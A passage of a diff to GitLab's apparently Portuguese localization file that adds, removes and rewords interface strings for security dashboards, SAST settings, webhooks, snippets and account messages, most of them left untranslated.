msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,12 +22863,6 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
-msgstr ""
-
-msgid "Showing Version #%{versionNumber}"
-msgstr ""
-
msgid "Showing all issues"
msgstr ""
@@ -22244,6 +22872,12 @@ msgstr ""
msgid "Showing last %{size} of log -"
msgstr "Mostrar último %{size} do registo -"
+msgid "Showing latest version"
+msgstr ""
+
+msgid "Showing version #%{versionNumber}"
+msgstr ""
+
msgid "Side-by-side"
msgstr ""
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr "Também podes testar o teu %{gitlab_ci_yml} em %{lint_link_start}CI Lint
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "Também podes enviar ficheiros existentes do teu computador ao usar as instruções abaixo."
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,14 +28427,14 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
-msgstr "Podes convidar um novo para <strong>%{project_name}</strong> ou convidar outro grupo."
+msgid "You can invite a new member to %{project_name} or invite another group."
+msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
-msgstr "Podes convidar um novo membro para <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
+msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
-msgstr "Podes convidar outro grupo para <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
+msgstr ""
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr "já foi compartilhado com este grupo"
msgid "among other things"
msgstr "entre outras coisas"
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
